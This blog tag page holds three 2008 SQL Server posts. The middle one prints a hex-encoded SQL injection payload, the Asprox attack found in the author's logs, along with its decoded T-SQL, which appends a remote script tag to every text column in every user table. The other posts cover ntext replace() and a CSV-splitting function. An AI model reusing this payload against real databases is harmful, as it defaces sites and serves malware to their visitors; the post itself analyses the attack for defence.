Posts Tagged ‘sql’

use replace() with an ntext value

Tuesday, September 16th, 2008

ntext is a text image. In other words, the text itself is stored in a separate location from the datatable. What is in the datatable is a pointer to where the text is stored. Because of this use can’t use too many functions on an ntext value. Changing the datatype to nvarchar in the design view may not help. The way I have been working around this is to take the individual row/column value and convert that to nvarchar(max)

select cast(replace(cast(myntext as nvarchar(max)),‘find’,‘replace’) as ntext)
from myntexttable

This was taken from http://www.sidesofmarch.com/index.php/archive/2008/02/27/how-to-use-replace-within-ntext-columns-in-sql-server/

Tags:
Posted in code | No Comments »

Hex value sql injection attack.

Monday, August 4th, 2008

I just found some errors that looked a little strange. It was obviously a sql injection attack but I couldn’t tell what it was. After the normal parameters I found this:

;DECLARE @S VARCHAR(4000);SET
@S=CAST(0×4445434C41524520405420564152434841522832
3535292C4043205641524348415228323
53529204445434C415245205461626C655F437572736F7
220435552534F5220464F522053454C4543
5420612E6E616D652C622E6E616D652046524F4D2073
79736F626A6563747320612C737973636F6C75
6D6E73206220574845524520612E69643D622E696
420414E4420612E78747970653D27752720414E
442028622E78747970653D3939204F5220622E787
47970653D3335204F5220622E78747970653D323
331204F5220622E78747970653D31363729204F5
0454E205461626C655F437572736F72204645544
348204E4558542046524F4D205461626C655F437
572736F7220494E544F2040542C4043205748494
C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205
B272B40542B275D20534554205B272B40432B275
D3D525452494D28434F4E5645525428564152434
841522834303030292C5B272B40432B275D29292
B27273C736372697074207372633D687474703A2
F2F7777772E6E6362772E72752F6A732E6A733E3C
2F7363726970743E27272729204645544348204E4
558542046524F4D205461626C655F437572736F7
220494E544F2040542C404320454E4420434C4F53
45205461626C655F4 37572736F72204445414C4C
4F43415445205461626C655F437572736F7220
AS VARCHAR(4000));EXEC(@S);

With a little help from:
http://isc.sans.org/diary.html?storyid=4565 and  http://www.eggheadcafe.com/software/aspnet/32646085/sql-injection-gibberish.aspx

I leanred that was hex code that translated to:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype=’u’
AND (b.xtype=99 OR b.xtype=35
OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(’UPDATE [’+@T+’] SET [’+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[’+@C+’]))+”<script src=”http://wwwDOTncbwDOTru/jsDOTjs”></script>”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor DEALLOCATE Table_Cursor

More and better info found http://www.dynamoo.com/blog/labels/SQL%20Injection.html

This is called Asprox

Tags:
Posted in code | No Comments »

Using the IN clause with a string of comma delimited integers

Friday, April 18th, 2008

Rewriting some stored procedures I ran into a problem. As a parameter I had a series of comma separated integers stored in an nvarchar. I wanted to use this parameter in an “IN” statement.
Something like:

select @ids = ‘1,2,3,5,6,7′
select *
from table
where id in (@ids)

With a function found at http://www.sqlteam.com/article/using-a-csv-with-an-in-sub-select, I can do this:

select @ids = ‘1,2,3,5,6,7′
select *
from table
where id in (Select IntValue from dbo.CsvToInt(@ids) )

The function is:

Create Function dbo.CsvToInt ( @Array varchar(1000))
returns @IntTable table
(IntValue int)
AS
begindeclare @separator char(1)
set @separator = ‘,’

declare @separator_position int
declare @array_value varchar(1000)

set @array = @array + ‘,’

while patindex(’%,%’ , @array) <> 0
begin

select @separator_position = patindex(’%,%’ , @array)
select @array_value = left(@array, @separator_position - 1)

Insert @IntTable
Values (Cast(@array_value as int))

select @array = stuff(@array, 1, @separator_position, ”)
end

return
end

Tags:
Posted in code | No Comments »